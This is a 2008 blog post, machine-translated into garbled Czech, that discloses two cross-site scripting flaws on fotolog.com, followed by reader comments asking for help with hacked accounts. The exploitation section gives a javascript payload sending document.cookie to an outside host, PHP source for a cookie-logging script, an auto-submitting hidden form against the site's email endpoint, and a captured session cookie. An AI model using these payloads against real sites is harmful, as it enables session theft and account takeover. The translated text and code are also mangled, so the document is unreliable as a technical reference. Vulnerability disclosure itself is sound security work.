Selhání FOTOLOG.COM

Publikováno na | 18. června 2008 | 16 Komentáře

Selhání FOTOLOG.COM

Představení
Vysvětlení neúspěchu
Provozní poruchy

Rozloučení

1. Úvod: Dobrý den!
S radostí, mé jméno je známo, Emilia jsem on-line pod přezdívkou "Knet" A já jsem webový vývojář zaměřený na bezpečnost počítačových systémů prostřednictvím tohoto dokumentu jsem se jim vysvětlit a následně zveřejnit několik chyb na webových stránkách www . fotolog.com.
Říkám jim, že důvody, které mě vedly k nalezení těchto chyb byla jen zvědavost a uplatňování znalostí o místě, jsem se vysvětlit, že v žádném okamžiku myslel zisku z těchto poruch, ani za účelem osobního zisku nebo tak něco.

Pokud je repo operace na opravu, jinak nebudu odpovídat, pokud tyto závady jsou nalezeny výtržníků.
Samozřejmě, říkám: Děkuji za vaši pozornost, a já nemám jiný problém.
Moje kontaktní mail je: Keynet.Security @ Gmail.com [email] [MSN]
Bydlím v: BS.AS / Argentina

2. Vysvětlení selhání selhání k léčbě:

Javascript injekce
2. typu XSS (Cross Site Scripting)

Bug # 1 - Javascript injekce:

Konkrétně se jedná o selhání spočívá ve filtru proměnných, v sekci Můj účet - profil
na infererior.
EJ 1:

EJ 2:

Jak je vidět na "2" v EJ URL části kódu JS můžeme přidat, a tak jako výsledek optener
provádění událost JS v prohlížeči:

EJ 3:

Upozornit na hodnotu cookies z relace:

Chyba # 2 - 2. XSS typ:

Tato druhá chyba je v souboru: http://photo.fotolog.com/email_to_friends~~V a je také problém filtrování proměnných.

EJ 1:

a jak poemos naleznete v tomto druhém případě

EJ 2:

HTML kód běh bylo dosaženo, a tím začíná řetězec: </ textarea> a selhání při Odeslat informace, hodnota textarea se vedení zaslané poštou, které nejsou filtrovány pak přechází, které uzavírá textarea a spustí kód, který následuje. . .

3. Využití hlavní fallosla jednodušší a riskantní způsob, jak zneužít tuto chybu je krádež zasedání, budu demonstrovat jednoduché kroky, jako je to možné.

Využití bug # 1 - JavaScript injection

EJ 1:

pokud budeme mít možnost vidět na tomto obrázku, jsme upravili zdrojový kód,
zvýšení hodnoty vstupu s názvem: odkaz: 72316332: url

a přidejte injekci JS.

vysvětlíme si injekční JS:

EJ 2:

javascript: document.location = 'http://www.remoteexecution.org/style.php?c =' + document.cookie

Tato událost, která je to, že prohlížeč je přesměrován na stránky:
http://www.remoteexecution.org/~~V style.php souborem a tento soubor aplikace speciálně naprogramovaný pro zachycení cookie pomocí prohlížeče, vaše sódigo zdroj je podobná následující:

<? Php
$ Ip = getenv ("REMOTE_ADDR");
Cookie $ = $ _GET ['c'];
$ Cookie_file = 'cookies.txt';
if (isset ($ cookie) && $ cookie! = "" && file_exists ($ cookie_file))
{
$ Open_file = fopen ($ cookie_file, '');

fclose ($ open_file);
header ("Location: http://www.fotolog.com/ ');
}
>

že to, co budeme dělat, je zápis souboru cookie "souboru Cookies.txt", který může pak být používán uživateli se zlými úmysly. sdílení stejných hodnot a krádeže opteniendo zasedání:

po kliknutí se uživatel dostane jako ataquente: souboru Cookies.txt

session cookie:

dešifrovat:

paintrules | 1 | 0 | 1 | 1213390635 | 1213390635 | 21906539 | 2936b9eb107213b2bd104758141ec0e4

vidět, krást zasedání bylo dosaženo.

Využití bug # 2 - XSS (Cross Site Scripting) za nepřímé, HTML kódu, je třeba připravit útočník speciálně upravená tak, aby klikli, nebo dokonce aby to auto poslat, způsobí, že výstup kódu
takto:

<script>
funkce send ()
{
document.formulario.submit ();
}
</ Script>
<body OnLoad="enviar()">
<form method="POST" action="http://photo.fotolog.com/email_to_friends" name="formulario">
<input type="hidden" name="u" value="cumbio">
<input type="hidden" name="photo" value="47041145">
<input type="hidden" name="uploaded" value="false">
<input type="hidden" name="from" value="keynet.security@gmail.com">
<Input type = "hidden" name = "k"
<input type="hidden" name="message" value="He vidět obraz na straně Fotolog">
</ Form>
</ Body>

pak výsledek spustí skript, dříve vysvětlil, co to dělá.
a všechny stránky navštěvují, je útočník, s tímto typem poruchy na místě FOTOLOG.COM
všechno je riziko.
Nemluvě o tom, že místo kradení setkání by mohlo být 20 e-mail Přidat se autoenvien neustále způsobuje problémy nejen v provozu Fotolog, ale také třetím stranám. . .

Doufám, že se vám to líbilo, chápou a vědí, jak hodnotí své vysvětlení.
Beru odpovědnost za zneužití, a dokument byl připraven pomoci komunitu FOTOLOG.COM.
reintero můj kontakt [email] nebo [MSN]: Keynet.Security @ Gmail.com

S pozdravem.

PS: Omlouvám se za pravopisné chyby

Kategorie: Nezařazeno

Komentáře

16 Reakce na "selhání" FOTOLOG.COM

Francisco
29 červenec 2008 @ 03:17
Woow, že dobrý, jak jsi dobrý lol
I já jsem velký zájem o bezpečnost a najít chyby v místech, lol
Adriana
05.08.2008 @ 22:43
moje dcera hacknutý na fotoblog a je velmi trsite.yo nerozumí s počítačem. pomozte mi ji vrátí.
fotolog.com / onlytachh
díky
Gabrielle
05.08.2008 @ 23:01
Dobrý den, můj problém je, nemůžu se přihlásit chtěli zjistit, jestli byste mohli opravit .. díky .. doufám, že si respuestaah! moje okno je 98
Martin
13 srpen 2008 @ 15:37
přidat k em hubená porq jste nepochopil jednu šuká haha
yamel
21 srpen 2008 @ 11:37
ahoj nemůžu začít hledat secion se stránky Fotolog
Chci jít a já jsem navrhl stránku q není schopen prokázat,
podle mě fabor vyřešit religiozita je agradesco
Měsíc
09.09.2008 @ 22:55
Fotolog Esq můj problém je nepřijmout nebo zadat zahájení sekcí comensar žádá data, ale ne aceprtar
porfa pomozte mi
Diego
24 září 2008 @ 15:19
Jsem hacknut na fotoblog
rekuperar potřebují kontraseña
Prosím ayudaamee
rosa
10.10.2008 @ 16:53
ahoj jsem tady jsem zavřela q
Fotolog účet a chci říci, zda byste mi prosím
Nemůžu se vrátit, prosím.
Dám vám dobře a doufám, že mnoho pozdravů
Odpověď od Vás
Rony
16 listopad 2008 @ 09:39
Jak mohu přizpůsobit fotoblog není uvěřit nedávno a chcete přizpůsobit díky
Elizabeth
16 listopad 2008 @ 24:23
Já si nevzpomínám názvem zapsaným estou, díky
flasheadiitoh
23 prosinec 2008 @ 05:59
ami jsem byl hacknut a já zavřel fotoblog / flasheadiitoh, které jsem zaplatil zlaté členství.
prosím, pomozte mi otevřít bičovat byl / flasheadiitoh
prosím přidejte mi a tak jsem si povídala obrátí 18,952: S soi.flasheadiitoh @ hotmail.com
Upřímný
29 prosinec 2008 @ 20:41
můžete začnu fotoblog je
/ Ziiikaaa
v mém Fotolog neměl zlato nebo něco, ale za rok to trvá Lásko, prosím activamelo
alan
21 leden 2009 @ 02:33
Zavřel jsem tuto Fotolog
otevřené nebo hackeas?
qamila
28 únor 2009 @ 17:18
WUA děvka ke přihlásit ADM Kada mi volá, když jsem se pozastavit kodigos postiar muxo mohu opravit
Mikaela
03.03.2009 @ 12:05 AM
holiss am slídy jsou všichni géniové s fotografiemi miluji
fabriii
14 duben 2009 @ 21:25
mléka přidáte do MSN, XQ nerozuměl moc ... a mám problém s Fotolog moc děkuji, doufám, že mě přijmou, tak jsem pdoe shacer UNF Avo .. dát si mě a moc děkuji ... velmi dobrý závod, vaše.
Já queir seeguir je parecidoo počítačový inženýr?
fabrizio.ge hodin .... je Přijmout mě ..